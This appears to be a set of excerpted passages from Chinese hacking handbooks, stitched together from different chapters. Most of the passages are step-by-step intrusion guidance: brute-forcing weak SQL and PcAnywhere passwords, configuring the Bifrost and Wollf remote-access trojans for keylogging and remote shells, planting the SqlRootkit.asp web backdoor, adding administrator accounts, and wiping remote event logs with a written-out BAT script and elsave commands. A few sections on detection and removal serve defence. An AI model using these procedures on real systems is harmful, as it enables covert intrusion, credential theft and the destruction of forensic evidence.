在图5-9所示中，可以对扫描目标进行设置，目标可以是IP地址段，也可以是预先编辑好的主机列表。另外，可对扫描所调用的最大线程数、同时扫描的最大主机数、超时时间、睡眠时间进行设置，可对扫描前是否进行Ping探测进行选择。笔者建议，如果扫描对象不是太多，一般不要选择扫描前Ping；如果目标已安装防火墙，对Ping进行设置，则将响应扫描结果。我们将目标主机设置为192.168.0.1～192.168.0.254网段，其他设置采用默认即可。 步骤3。单击“模块”级联菜单，弹出如图5-10所示的对话框。 图5-8 “菜单”的级联菜单界面 图5-9 “参数”设置对话框 图5-10 “模块”设置对话框 在图5-10所示的对话框中，可以对前面所介绍扫描模块进行选择，如果只扫描MYSQL弱口令，可以只选择“check MYSQL weak accounts”项。我们一般对扫描模块设置为默认的全部选择。 步骤4。除可通过“菜单”的级联菜单进行设置，还可对穷尽的用户名/密码字典进行设置。在 Hscan 扫描器的全部文件中包括“conf”子目录，该目录下是需穷尽弱口令的用户名文件和字典文件，如图5-11所示。 Hscan默认的字典文件较小，如果对穷尽的对象有所了解，可以适当扩大字典文件内容。如自己针对用户习惯生成字典，或搜索网络中已有的好用字典，通过这些办法可以较好地提高成功率。 除通过菜单进行设置外，Hscan 还可以通过对设置文件内容的更改来直接进行设置。在Hscan 根目录下，有一 hscanconf.ini 的配置文件，通过菜单设置的内容都保存在此文件中，打开此文件，可以看到我们前面所作的设置，如图5-12所示。 图5-11 Hscan 字典文件 图5-12 Hscan 配置文件 通过对比可以看出，编辑hscanconf.ini可以更为方便地进行设置。 设置完毕后，单击图5-8中“开始”级联菜单，即可开始信息搜集和口令穷尽。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.3 PcAnywhere扫描器——一款经典的扫描器 PcAnywhere是一款由Symantec公司研发的老牌远程控制软件，可以将自己的计算机当成主控端去控制另一台装有PcAnywhere软件的主机，可以使用被控端主机的程序，也可以在主控端和被控端之间进行文件传输。连接方式为所见即所得，支持全屏操作，使用较为简单。 PcAnywhere默认使用TCP 5631端口、UDP 5632端口进行数据传输。近几年互联网中虽没有公布PcAnywhere的远程溢出漏洞或认证漏洞，但利用主机安装的PcAnywhere 可以进行提权等许多工作，因此进行 PcAnywhere 扫描也是黑客经常采用的踩点方式。NirSoft.net 网站发布了一款PcAnywhere扫描器，通过UDP数据对远程主机是否安装PcAnywhere进行探测，其结果准确，速度较快，可以在较短的时间内对B类网络，甚至A类网络进行扫描。 PcAnywhere扫描器下载地址为http://www.nirsoft.net/utils/pcanyscan.html。下载软件为ZIP压缩包，无需安装，解压缩即可，可运行于Windows系列主机中。压缩包中包括扫描程序和相应配置文件。运行PcAnyscan.exe即可弹出如图5-4所示的对话框。 在图5-4所示对话框中填入开始IP地址和结束IP地址，单击“Scan”按钮即可开始扫描。扫描结果不仅将安装PcAnywhere的主机IP地址显示出来，而且对PcAnywhere用户名进行显示，可以通过密码暴破工具进行下一步工作。 笔者对某段IP地址进行扫描，获得多台安装PcAnywhere软件的主机列表，如图5-5所示。 图5-4 PcAnywhere扫描器对话框 图5-5 扫描结果对话框 PcAnywhere可用来提权，如仅得到目标主机的shell时，需要提权，且目标主机安装PcAnywhere软件，可以利用 shell 得到主机的密码文件。PcAnywhere 密码文件一般为*.cif ，如目标为网站，将此文件复制至网站目录下，下载此文件，然后可通过下述网址提交cif文件进行破解： http://www.cha88.cn/safe/online_pcAnywhere.php 也可以下载PcAnywhere密码查看器直接得到密码，查看器可以到www. nirsoft.net下载。 目前最新版本的PcAnywhere所生成的cif文件其加密方式与以前的版本有较大区别，上述两种方式均无法正确解密。 有时得到密码也不能顺利地通过PcAnywhere控制主机，因为PcAnywhere用户只有一个，管理员在线时我们无法登录，管理员离开时如果其采用桌面锁定，我们也无法登录，需要掌握管理员不在线且桌面未锁定的时机进行登录，一般在不同的时间段多试几次即可。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 1.4 网络监听 无论网络攻击者还是安全防护人员，网络监听都是一种经常采用的技术手段。 网络管理人员通过网络监听可以获得进出网络的每一个数据包，既包括网络中用户正常使用的数据，也包括黑客软件所产生的数据，因此网络管理人员通过网络监听可以分析不法行为，而黑客通过网络监听则可以获得想要的数据，如用户登录的密码等信息。 通过网络监听进行攻击是黑客攻击过程中非常有效的方法之一。 要理解黑客如何进行网络监听，首先需要明白网络监听的原理。 1.4.1 网络监听的原理 在继续进行讲解之前需要先理解以下几个概念。"},
    {"text": "1.混杂模式 一台计算机要进行网络数据传输，必须安装网卡和网卡驱动程序，为便于区别，每块网卡都有一个在世界上独一无二的48位地址，称为MAC地址，除此外，要进行数据传输，还需要绑定一个32位的IP地址。 网卡一般有几种工作模式，如unicast（单播）、broadcast（广播）、multicast（组播）和promiscuous（混杂模式）。"},
    {"text": "一般情况下，操作系统会把网卡设为广播模式，在广播模式下，网卡可以接收所有类型为广播报文的数据帧——例如ARP寻址。 此外，它会忽略目标地址并非自己MAC地址的报文，即只接收发往自身的数据报文、广播和组播报文，这才是网卡的正常工作模式。 而混杂模式是网络监听的根源，混杂模式下网卡对报文中的目标 MAC 地址不加任何检查而全部接收，这样就造成了无论什么数据，只要是路过的都会被网卡接收的局面。 由网卡各种工作状态的定义可以看出，如果网络监听的目的不仅仅是本机数据，则混杂模式是进行网络监听的一个必要条件。 2.嗅探器（Sniffer） 一般情况下，网卡的工作模式由操作系统设置，并没有公开地让用户进行设置的界面。 而嗅探器的出现打破了这一僵局，使用户拥有了设置网卡工作模式的权力。"},
    {"text": "ISS 为嗅探器进行定义是：Sniffer 是利用计算机的接口截获目的地为其他计算机发送的数据报文的一种工具。 Sniffer的正当用途是网络管理员通过在网关进行嗅探，从而进行网络流量分析和数据分析，以便精确地判断网络中每台计算机可能存在的传输问题。"},
    {"text": "不同的嗅探器工作原理基本相同，但工作能力差别较大，有的嗅探器只能分析少数几种协议，有的却能分析几百种之多，比较著名的嗅探器有 IRIS、Ethereal 等，其中 Ethereal 为开源产品。"},
    {"text": "一般将使用交换机组成的网络称为交换式网络，交换式网络通过交换机构造“MAC-端口”映射表，数据包传送时，只会被送往特定的端口上，通过映射表，也只发送到特定的MAC地址。"},
    {"text": "在一个网络中，网络监听效果最好的位置是网关、路由器、防火墙等设备，对于黑客来说，由于网关等设备较难突破，网络监听一般在网络中的某台主机上进行。"},
    {"text": "在UNIX操作系统下，要将网卡设为混杂模式，需要向网络接口（Interface）发送I/O控制命令，而这些I/O控制命令，需要超级用户权限。 在Windows系列操作系统下，这种限制较小，只要能够运行监听软件，就可以将网卡设置为混杂模式。"},
    {"text": "在交换式网络下进行嗅探，由于网卡只能接收特定端口的数据，需要采用其他技术将正常发往被监听计算机的数据“转移”到本机上来，目前较为成熟的技术为 ARP 欺骗和 DNS欺骗等。"},
    {"text": "历史上最著名的嗅探事件发生在1994年，当时，黑客通过在骨干设备上安装网络监听软件，嗅探到10万个美军的有效用户名和口令，这在Internet中引起轰动。"},
    {"text": "1.4.2 网络监听的检测和预防 攻与防共存，当网络监听有了成熟技术的同时，对网络监听的检测技术也在不断发展，虽然还达不到非常成熟，但也有了很多可用的检测方法。 对可能存在网络监听的检测一般有下面几种方法。 1.Ping检测 如果怀疑某台计算机在进行监听，则可以通过向该计算机发送正确的 IP 地址和错误的MAC地址的Ping方法进行检测，如果看到返回，则基本可以判断该计算机处于混杂模式，在进行网络监听。 2.发送大量数据包 如果怀疑某台计算机在进行监听，可以向网络发送大量的垃圾数据包，因为网络监听软件要对接收到的每一个数据包进行分析，在数据量很大时，反映时间会变慢，这时通过对比分析，可以找出处于监听状态的计算机的幕后黑手。 3.使用反监听软件 要检测网络监听，可以使用反监听工具，如antisniffer等进行检测。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.7 小结 本章通过对黑客常用的木马软件的介绍，较多地为读者阐述了黑客的DDOS攻击技术以及远程控制技术，这两种方式在黑客的攻击中占比较重要地位，从而特意安排了本章的内容。我们学习的目的并不在于如何去攻，而是如何去防，这也是本书的核心所在。通过学习，更能体会到前人说过的一句话：“最少的服务就是最大的安全”，即尽量少的开启不必要的服务。这也能体现出“人的因素才是计算机安全中最重要的一个标准”。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.3 SQL Scan Pass工具的剖析及防范——账号和口令扫描工具 11.3.1 SQL Scan Pass 工具简介 SQL Scan Pass 扫描器是一款扫描SQL 账号和口令的工具，使用方便快捷，支持字典功能，是黑客抓“SQL”服务器“肉鸡”的好帮手。软件不需要安装，直接使用即可，方法如下。 11.3.2 SQL Scan Pass 的剖析 ● 步骤1。 双击运行“SQL Scan Pass”主程序，如图11-45 所示，其主界面如图11-46所示。 ● 步骤2。 在图11-46所示的界面中单击“Browse”按钮，弹出“打开”对话框，如图11-47所示，选择IP列表文件，然后单击“打开”按钮确认。 图11-45 SQL Scan Pass 主程序 图11-46 SQL Scan Pass 主界面 ● 步骤3。 在图11-46 所示的界面“Password Setting（1）”中选择SQL 的文件名字典，在这里黑客一般只扫描“SA”用户，即“Only Scan User sa”。 ● 步骤4。 在图11-46 所示的界面“Password Setting（2）”中选择“User Password Files”项，然后单击“Brwse”按钮，在弹出的“打开”对话框中选择密码字典文件，如图11-48所示，然后单击“打开”按钮确认。 图11-47 选择列表文件 图11-48 选择字典文件 ● 步骤5。 上述步骤设置完成后，在图 11-46 所示的界面中单击“Start”按钮开始扫描，当前进度及结果将在右侧的窗口中列出来，如图11-49所示。 ● 步骤6。 当扫描出“SA”账户空口令后就可以使用“sql 综合利用工具”进行连接了。双击运行“sql综合利用工具”主程序，如图11-50所示，其主界面如图11-51所示。 在图11-51 所示的界面中填写经过“SQL Scan Pass”扫描得到的口令和密码，单击“确定”按钮进行连接。 图11-49 开始扫描 图11-50 “sql 综合利用工具”主程序 图11-51 “sql 综合利用工具”主界面 11.3.3 SQL Scan Pass 的防范 通过上面的介绍，可以知道，“SQL Scan Pass”工具的主要原理就是使用字典破解，因此，防范此类攻击的最好方法就是加强 SQL 的密码的强度以及长度。下面将介绍具体步骤。 ● 步骤1。 打开“SQL Server企业管理器”，如图11-52 所示。 图11-52 SQL Server企业管理器界面 ● 步骤2。 依次单击“SQL Server 组”→“（Local）（Windows NT）”，如图 11-53 和图 11-54所示。 图11-53 SQL Server组 图11-54 （Local）（Windows NT） ● 步骤3。 在图 11-54 所示的界面中双击“安全性”文件夹，打开如图 11-55 所示的窗口，然后继续单击“登录”，如图11-56所示。 图11-55 “安全性”界面 图11-56 “登录”界面 ● 步骤4。 用鼠标右键单击“SA”用户，在弹出的菜单中选择“属性”项，如图11-57所示，然后将弹出如图11-58所示的对话框。 ● 步骤5。 在图11-58所示的界面中，直接修改“身份验证”中的“密码”，最后单击“确定”按钮使密码生效。 图11-57 选择“属性”项 图11-58 “属性”对话框 使用以上方法，即可有效地防范类似“SQL Scan Pass”的弱口令攻击。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系)"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.4 彩虹桥木马的剖析及防范 9.4.1 彩虹桥木马简介 “Bifrost”即彩虹桥木马，功能也很强大，并且生成的服务端体积小巧。"},
    {"text": "有摄像头监视、通过Socks 4代理或Tor网络连接、文件管理器、硬核级别文件隐藏、实时/离线键盘记录、口令列表、进程管理器、注册表编辑器、远程Shell、桌面捕捉、系统管理器、窗口管理器等功能。"},
    {"text": "“Bifrost”经过汉化后，使用更加方便， 其服务端程序可注册为系统服务的服务版本，具有System权限，可以通过修改运行的文件名来修改服务名，不需要修改系统原来就已存在的服务名。"},
    {"text": "Bifrost木马客户端程序不需要进行安装，直接双击运行即可，其主界面如图9-71所示。 运行后的汉化版本的“Bifrost”客户端程序的功能并没有直接显示在面板上，当有远程计算机上线以后才可以领略到“Bifrost”的强大，如图9-72所示。 图9-71 Bifrost 客户端程序 图9-72 Bifrost 客户端程序主界面 ● 步骤2。"},
    {"text": "在图9-72所示的程序界面中单击“生成器”按钮，进行服务端的定制，以及服务端木马的安装设置（如安装位置、被插入的进程等），如图9-73和图9-74所示。"},
    {"text": "图9-73 服务端的定制（1） 图9-74 服务端的定制（2） 注意：“Bifrost”也是属于反弹上线的机制，填写的上线IP也遵循上面所介绍的IP填写规则。"},
    {"text": "在图9-74所示的界面中单击“创建”按钮，服务端木马就配置成功了，并生成在此程序目录内，如图9-75和图9-76所示，其体积大小如图9-77所示。 图9-75 生成成功 图9-76 木马服务端程序 ● 步骤4。"},
    {"text": "接下来将要设置客户端，在图9-72所示的客户端界面左下方单击“设置”按钮，打开设置对话框窗口，填入刚才配置服务端时填写的上线端口以及连接密码，单击“确认”按钮即可生效，如图9-78所示。"},
    {"text": "当有“肉鸡”上线时，“Bifrost”会和MSN一样，在屏幕右下角弹出气泡提示，打开客户端，将会看到远程计算机的详细信息，选种其中一台计算机，单击“上传扩展包”按钮，扩展包很快就会上传成功，如图9-79（画圈部分）所示。"},
    {"text": "通过上述步骤，木马服务端程序以及客户端程序都已配置完毕，下面将以实战的方式介绍其对硬盘文件的操作、查看系统信息以及键盘记录、桌面捕捉、远程shell、注册表控制等功能。 图9-80 发送命令 1.对硬盘文件的操作 单击“文件夹管理器”按钮，即可操作对方的硬盘文件，可以进行删除、下载、修改等操作，和在本地机上操作一样方便，如图9-81所示。 图9-81 对硬盘文件的操作 2.查看系统信息以及键盘记录功能 单击“系统管理器”按钮，即可查看远程计算机内在的配置信息，并且还可以随时命令对方关机、重新启动，任黑客操纵。 远程键盘记录器也不错，在对方用户输入密码的时候，启动键盘记录功能即可截获对方的密码或聊天等信息，如图9-82和图9-83所示。 图9-82 系统信息 图9-83 键盘记录功能 3.桌面捕捉功能 “桌面捕捉”功能当然不能缺少，在对方毫无察觉的情况下偷窥别人的屏幕信息，可以知道对方当前的操作情况，如图9-84所示。 图9-84 桌面捕捉 4.远程Shell功能 “远程 Shell”功能如同操纵本机的命令提示符模式一样，可以执行系统命令、修改远程计算机上的数据，甚至可以添加、修改或删除计算机账号，如图9-85所示。 5.注册表控制功能 “注册表编辑器”功能和前面几节介绍的几款远程控制程序功能大同小异，操作同样是非常简便，可任意执行添加、删除、修改等操作，如图9-86所示。 图9-85 远程Shell功能 图9-86 注册表控制功能界面 9.4.3 彩虹桥木马的防范 ● 防范演示步骤1。"},
    {"text": "第一次运行时，Bifrost木马将会控制系统正常的“Explorer.exe”程序执行其代码，为了达到逃避防火墙检测的目的，木马如果发现当前系统没有运行IE浏览器，它将激活IE浏览器并将代码注射入IE浏览器进程。"},
    {"text": "因此首先需要结束“Explorer.exe”进程，使用工具“冰刃”，用鼠标右键单击“Exolorer.exe”进程，选择“结束进程”，如图9-88所示，此时桌面“消失”了，原因是“Exolorer.exe”被结束了（后面将介绍使桌面“恢复”的方法）。"},
    {"text": "图9-88 结束“Explorer.exe”进程 然后以同样的方式结束IE浏览器的进程“Iexplore.exe”，如图9-89所示。 图9-89 结束“Iexplore.exe”进程 最后打开任务管理器，依次单击“文件”→“运行”，输入“Exolorer.exe”即可“恢复”桌面，如图9-90所示。 图9-90 运行“Explorer.exe” ● 防范演示步骤3。"},
    {"text": "通过笔者测试发现，目前市面上的部分安全工具并不能出色地发现其启动方式，手工清除是比较直接的，依次单击“开始”→“运行”，输入“Regedit.exe”打开注册表编辑器，定位到：“HKEY_LOCAL_MACHINE\\SOFTWARE\\ Microsoft\\Active Setup\\Installed Components\\”处，找到“{9B71D88C-C598-4935-C5D1-43AA4DB90836}”项，查看其中的“stubpath”键值，就不难发现木马的保存路径，如图9-91所示，其路径如图9-92所示。 图9-91 注册表项 图9-92 木马路径 之后将此表项全部删除，即可将此木马的启动项成功清除。"},
    {"text": "进入系统目录下的程序文件夹（C:\\Program Files\\Bifrost\\server.exe）删除Bifrost木马文件，首先需要用前面介绍的方法使隐藏的木马“现形”，然后直接手工清除即可，如图9-93所示。"},
    {"text": "下面将介绍的远程控制软件“Radmin”和本章前面章节介绍的有所不同，前几节介绍的远程控制软件都是基于反弹技术的木马，而 Radmin 是使用直接连接的木马，是内部局域网中远程控制的利器。"},
    {"text": "-setup：对 wollf.exe 进行设置，包括监听端口、访问口令或设置为反向连接方式，完成后将生 成 wollf_new.exe，设置内容及示例见工具自带的说明文件“config_howto.txt”。 （2）运行示例 “wollf”安装并启动服务，默认监听端口 7614；"},
    {"text": "（3）目前支持以下命令 DOS 切换到 MS-DOS 提示符 DIR/LS/LIST 目录／文件列表 CD 进入目录 MD/MKDIR 创建目录 PWD 查看当前目录 COPY/CP 复制目录／文件 DEL/RM 删除目录／文件 REN 重命名文件 MOVE/MV 移动目录／文件 TYPE/CAT 查看文本内容 POPMSG 弹出系统对话框 SYSINFO 查看系统基本信息 WHO/W 查看当前所有连接者 IP SHELL 通过系统 Shell（cmd.exe）执行命令，比如“SHELL DIR” EXEC/RUN 通过 Windows API（WinExec）运行程序 WS 查看窗口列表 PS 查看进程列表 KILL 强行关闭进程 423 黑客攻防实战详解 GET/GETFILE 通过 Wollf 直接下载文件（需要通过“wollf –connect”或“wollf –listen”来建立连接） PUT/PUTFILE 通过 Wollf 直接上传文件（需要通过“wollf –connect”或“wollf –listen”建立连接） WGET 从 HTTP 服务器下载文件 FGET 从 FTP 服务器下载文件 FPUT 向 FTP 服务器上传文件 Telnet 连接到其他安装本服务的机器 FTPD 启动 FTP 服务 TelnetD/TELD/EXPORT 在新端口输出 SHELL REDIR 绑定 TCP 端口，并转发接收到的所有数据 REDIR_STOP 停止端口转发 SNIFF 监听局域网内 ftp/smtp/pop3/http 密码（该功能仅对 Windows 2000/XP 系统有效） SNIFF_STOP 停止监听密码 KEYLOG 启动键盘记录 KEYLOG_STOP 停止键盘记录 REBOOT 重启系统 SHUTDOWN 关闭系统 EXIT 断开当前连接 QUIT 断开所有连接并终止服务 REMOVE 卸载服务 VER/VERSION 版本信息 HELP/H/? 帮助信息 下面通过两个实例来介绍 Wollf 木马的使用方法，以及如何通过 Wollf 制作木马后门。"},
    {"text": "2．实例一：按默认方式安装 Wollf 后门 步骤 1 上传 wollf.exe。 为了迷惑管理员，上传后把 wollf.exe 改名为_tcp_.exe。 步骤 2 安装 wollf.exe。 首先，通过 Telnet 方式登录到远程主机，然后在 Telnet 窗口中键入命令“_tcp_.exe –install” 或直接使用命令“_tcp_.exe”在远程主机中安装 Wollf 木马，安装过程如图 8-36 所示。 图 8-36 安装成功后，Wollf 服务会打开默认的 7614 端口来等待外部连接，而且 Wollf 会随系统的启 424 第 8 章 留后门与清脚印 动而自动启动。 步骤 3 远程连接 Wollf。 Wollf 安装完毕后，下面来验证一下本地机是否可以连接到远程主机中的 Wollf。 过程如下：首 先，断开本机与远程主机的 Telnet 连接，然后在本地 MS-DOS 中键入命令“wollf – connect 192.168.245.133 7614”来连接远程主机中的 Wollf 服务。"},
    {"text": "图 8-37 如图 8-37 所示，通过 Wollf 与远程主机建立连接后，入侵者会在本地窗口中得到命令提示符 “[win2k@C:\\WINNT\\Tasks]#”。"},
    {"text": "在该 Shell 中，入侵者可以使用 Wollf 木马自带的命令格式控制远程主机。 其中比较常用的 Wollf 命令有： SYSINFO 查看系统基本信息 WS 查看窗口列表 PS 查看进程列表 KILL 强行关闭进程 SNIFF 监听局域网内 ftp/smtp/pop3/http 密码（该功能仅对 Windows 2000/XP 系统有效） SNIFF_STOP 停止监听密码 KEYLOG 启动键盘记录 KEYLOG_STOP 停止键盘记录 REBOOT 重新启动系统 SHUTDOWN 关闭系统 EXIT 断开当前连接 QUIT 断开所有连接并终止服务 除了使用 Wollf 自带的命令格式，入侵者还可以使用 DOS 命令。"},
    {"text": "方法如下：首先，在图 8-37 所示的窗口中键入“dos”进入 DOS 命令模式，过程如图 8-38 所示。 图 8-38 425 黑客攻防实战详解 然后，在图 8-38 所示命令提示符“C:\\WINNT\\Tasks”下便可以键入 DOS 命令来执行。 如果 要从 DOS 界面退回到 Wollf 界面，在图 8-38 所示的界面中键入“exit”命令即可。"},
    {"text": "步骤 4 断开 Wollf 连接。 执行完任务后，在 Wollf 界面键入“exit”命令或“quit”命令断开 Wollf 连接。 其中，“quit” 命令表示断开 Wollf 连接的同时，停止 Wollf 服务。"},
    {"text": "下面来介绍如何修改 Wollf 木马默认的参数，即按照自定义方 式安装 Wollf 后门。 步骤 1 配置 Wollf 参数。 首先，在本地 MS-DOS 中键入“wollf.exe –setup”命令进入 Wollf 参数设定模式，如图 8-39 所示。"},
    {"text": "这里只介绍如何设置监听端 口号及如何设置 Wollf 的访问密码。 设置过程如下：在“Please choose an operation:”提示后键入 数字“1”进入监听端口号设置窗口。 在监听端口设置窗口中填入欲改成的端口号，这里改成“15648” 端口，监听端口的设置过程如图 8-40 所示。 图 8-40 然后按照同样的方法设置访问密码，在“Please choose an operation:”提示后键入数字“2”， 然后输入预设置的密码，这里把访问密码设置成“123456789”，访问密码设置过程如图 8-41 所示。"},
    {"text": "8.3.2 Winshell 与 WinEggDrop 1．Winshell 简介（引自自述文件） WinShell v5.0 是 Windows 平台上最精巧的 Telnet 服务器软件。 WinShell 是一个运行在 Windows 平台上的 Telnet 服务器软件，主程序是一个 5KB 左右的可执 行文件，可完全独立执行而不依赖于任何系统动态链接库，尽管它体积小，却功能不凡！"},
    {"text": " 内建安装和反安装功能。  内建下载文件功能。  内建重新启动和关闭机器功能。  内建远程终止自身运行功能。  启动时具备自动下载并运行可执行文件的功能。"},
    {"text": "Winshell 文件列表： winshell.exe 定制 WinShell 的主程序 winshell.exe.sig 数字签名文件 english.txt 英文版帮助文件 chinese.txt 中文版帮助文件 janker.asc 作者的公钥文件 注：利用作者的公钥文件和数字签名文件可以验证文件 winshell.exe 的完整性。"},
    {"text": "虽然服务端程序接近 50KB（压缩后），体积不算很小，但如果把后门本身的功能与 后门的体积大小相比较的话，那么该程序算是很小型的后门程序了。"},
    {"text": "下面通过实例来介绍入侵者如何制作该 SQL 后门。 下面介绍一款 SQL 后门工具——“SqlRootkit.asp”的使用方法。 从该工具的使用过程中，可 以了解到入侵者如何制作 SQL 后门及利用该后门实现入侵的过程。 正如前面所介绍过的，工具 “SqlRootkit.asp”就是一款能够利用 Web 访问来进行远程控制的工具。"},
    {"text": "步骤 1 修改 SqlRootkit.asp 中 SQL 管理员账号和密码。 首先，使用记事本打开 SqlRootkit.asp，在打开后的代码中找到“Password=server;User ID=sa” 一行，如图 8-45 所示。"},
    {"text": "例如，远 程 SQL 服务器的管理员账号为 sa，密码为空，那么将 ASP 文件按照如图 8-46 所示进行修改。 图 8-46 步骤 2 将 SqlRootkit.asp 上传至远程服务器 Web 根目录 Inetpub\\wwwroot 下。"},
    {"text": "首先，输入 net user 命令建立账号， 如图 8-48 所示。 图 8-48 430 第 8 章 留后门与清脚印 然后将该账号添加到管理员组，命令成功完成如图 8-49 所示。"},
    {"text": "图 8-49 由上述过程可见，通过 SQL 后门工具 SqlRootkit.asp，入侵者在 IE 浏览器中就可以对远程服 务器进行控制，这对管理员来说，是很难发现和阻止的。"},
    {"text": "8.4 清除日志 为了防止被管理员发现，当入侵者完成入侵任务后，除了要与远程主机／服务器断开连接、 删除过渡文件外，还要尽可能清除所有入侵痕迹。"},
    {"text": "8.4.1 手工清除日志 在入侵过程中，远程主机的 Windows 系统会对入侵者的登录、注销、连接，甚至拷贝文件等 操作进行记录，并把这些记录保留在日志中。"},
    {"text": "在日志文件中，记录着入侵者的操作及入侵者的 IP 地址。 这些日志对入侵者来说是极其危险的，如果管理员发现计算机存在入侵时，便会通过这些 日志文件来找到入侵者。 因此，为了减小被抓住的可能，入侵者在离开主机之前要删除这些日志 文件。"},
    {"text": "一般来说，在 Windows 系统中，日志文件的扩展名为“log”、“txt”，了解到这点后，可以 通过编写 BAT 的方法来删除这些日志文件。 编写的 BAT 文件内容如下： @DEL C:\\WINNT\\SYSTEM32\\LOGFILES\\*.* @DEL C:\\WINNT\\SYSTEM32\\CONFIG\\*.EVT @DEL C:\\WINNT\\SYSTEM32\\DTCLOG\\*.* @DEL C:\\WINNT\\SYSTEM32\\*.LOG @DEL C:\\WINNT\\SYSTEM32\\*.TXT @DEL C:\\WINNT\\*.TXT @DEL C:\\WINNT\\*.LOG @DEL C:\\CLEARLOG.BAT BAT 文件编写完毕后，入侵者会把该文件上传至远程主机／服务器，并使用计划任务执行该 BAT 文件，进而尽可能地删除所有日志文件。"},
    {"text": "8.4.2 通过工具清除事件日志 在入侵者与远程主机／服务器建立连接或进行其他操作的同时，系统已经把入侵者的 IP 地址 431 黑客攻防实战详解 及相应的操作事件记录下来。 如果管理员足够负责的话，便会从这些日志文件中找到入侵者的入 侵痕迹，从而获得入侵证据及入侵者的 IP 地址。 入侵者在离开远程主机／服务器之前都会尽力删 除这些日志文件，下面就来看看入侵者如何使用“计算机管理”及其他工具来清除事件日志。 （1）方式一：通过计算机管理清除事件日志 这一方法在前面章节中已经介绍过。 过程如下：首先打开“计算机管理” ，然后通过“系统工 具”→“事件查看器”打开事件记录窗口，如图 8-50 所示。"},
    {"text": "步骤 2 清除远程主机／服务器中的事件日志。 在本地 MS-DOS 中分别键入如下命令删除指定主机／服务器中的日志文件，命令执行过程如 图 8-52。 清除应用程序日志命令：elsave -s \\\\192.168.245.137 -l application -C 清除系统日志命令：elsave –s \\\\192.168.245.137 -l system -C 清除安全日志命令：elsave -s \\\\192.168.245.137 -l security -C 图 8-52 步骤 3 断开 IPC$连接。 在本地 MS-DOS 中键入命令“net use \\\\192.168.245.137\\ipc$ /del”断开与远程主机／服务器的 IPC$连接。"},
    {"text": "首先打开记事本，写入如下命令： net use \\\\%1\\ipc$ %3 /user:%2 elsave -s \\\\%1 -l \"application\" -C elsave -s \\\\%1 -l \"system\" -C elsave -s \\\\%1 -l \"security\" –C net use \\\\%1\\ipc$ /del 然后将该 BAT 文件保存为 clear.bat，并与工具 Elsave.exe 存放在同一个目录中。 接下来在 MS-DOS 中键入命令“clear.bat <远程 IP> <管理员账号> <管理员密码>”来清除指定主机／服务器 上的事件日志，执行过程如图 8-53 所示。 当该 BAT 文件执行完毕后，远程主机／服务器上的事件 日志即被全部清除。"},
    {"text": "步骤 1 把 Clearlog 上传至远程主机／服务器，如图 8-54 所示。 图 8-54 步骤 2 通过计划任务执行 clearlog.exe。 首先，在本地 MS-DOS 中键入命令“net time”查看远程主机／服务器的系统时间，然后通过 AT 命令执行 clearlog.exe，整个过程如图 8-55 所示。"},
    {"text": "可见，当被入侵者成功入侵后再想亡羊补牢是来不及的，这就需要管理员时 刻坚守住自己的阵地，提早做好预防准备，时刻关注最新的漏洞发布。"},
    {"text": "然而，并不是说入侵者清 除了这些入侵痕迹后就会逍遥法外，因为网络上的任何一台电子设备都会有相应的日志记录，但 难就难在如何从浩瀚如海的电子信息中找到指定的记录。"},
    {"text": "可见，入侵者为了能够永久地占有已被攻破 的计算机，他们需要在系统中制作后门，制作后门的方法有很多，如“账号后门”、“漏洞后门” 及“木马后门”。"},
    {"text": "计算机系统管理员为了防止所管理计算机中的重要信息外泄，往往设定启动口令。 启动口令 可以分为两类：第一类为开机口令，这类口令通过修改 BIOS 中的相关内容进行设定； 第二类为 系统登录口令，指成功启动计算机后，需要输入系统口令才能登录到操作系统上进行相关的操作。 在未开机的情况下，开机口令的破解除了进行 COMS 芯片放电外别无他法，本章中的本地入侵主 要是指利用盘载操作系统破解或绕过系统登录口令。"},
    {"text": "打开电源后，首先加载固化在 COMS 芯片中的 BIOS 程序，通过 BIOS 中的信息，系统会对 相关的硬件设备进行一系列的测试并确认系统各设备是否工作正常，随后，将按预先设定的顺序 从各个设备进行启动。"},
    {"text": "② 从光盘启动将会读取预先存在光盘上的信息，如果包含有启动信息则启动并执行光盘上的 相关内容，如果不包含启动设定信息，则会转入从硬盘启动系统。 在安装操作系统的时候用的即 为从光盘启动，而在本节中将要介绍的本地入侵也需要从光盘启动盘载操作系统。 9.2 盘载操作系统简介 盘载操作系统是一种可存放在光盘上并支持从光盘启动的软件系统。 其操作界面、使用方法 与安装在硬盘上的操作系统（主要是 Windows 操作系统）很相似。 不同于安装在硬盘上的操作系 统的是，盘载操作系统的功能主要用于系统修复。 常用的盘载操作系统有 ERD Commander（运行界面如图 9-1 所示）和 Windows PE（运行界面 如图 9-2 所示）。 图 9-1 第 9 章 本地入侵 图 9-2 本章中会分别介绍上面提到的两种盘载操作系统。"},
    {"text": "ERD Commander 的功能十分强大，可以修改系统的登录密码，完全访问硬盘，其中包括访问部分的隐 藏盘。 ERD Commander 可以说是一把双刃剑，在系统管理员忘记系统登录口令而无法登录系统时， 可以使用 ERD Commander 登录到系统修改口令，从而省去诸多麻烦；"},
    {"text": "9.3.2 利用 ERD Commander 进行入侵的实例 现在已知一台本地计算机设置了系统登录口令， 如图 9-3 所示，本节中将使用 ERD Commander 2005 实现对这台本地主机的入侵。"},
    {"text": "437 黑客攻防实战详解 步骤 1 修改设备的启动顺序 上面的这台主机在开机后按 F2 键就会进入 BIOS 设置界面，如图 9-4 所示。 不同厂商的 BIOS 的进入方法和设置界面往往不同，在开机的时候，界面上都会有所提示。 在上面显示的界面中选择到 Boot 菜单下，如图 9-5 所示。 图 9-4 图 9-5 CD-ROM 的启动在硬盘启动之后，这种顺序无法利用盘载操作系统，因为在启动盘载操作系 统之前，系统就已进入硬盘引导，需要修改设备的启动顺序，根据提示修改后显示如图 9-6。 一般来说，只要将 CD-ROM 的启动置于硬盘启动之前即可，但为了减少一些不必要的麻烦， 往往将 CD-ROM 设置为启动顺序中的第一个。"},
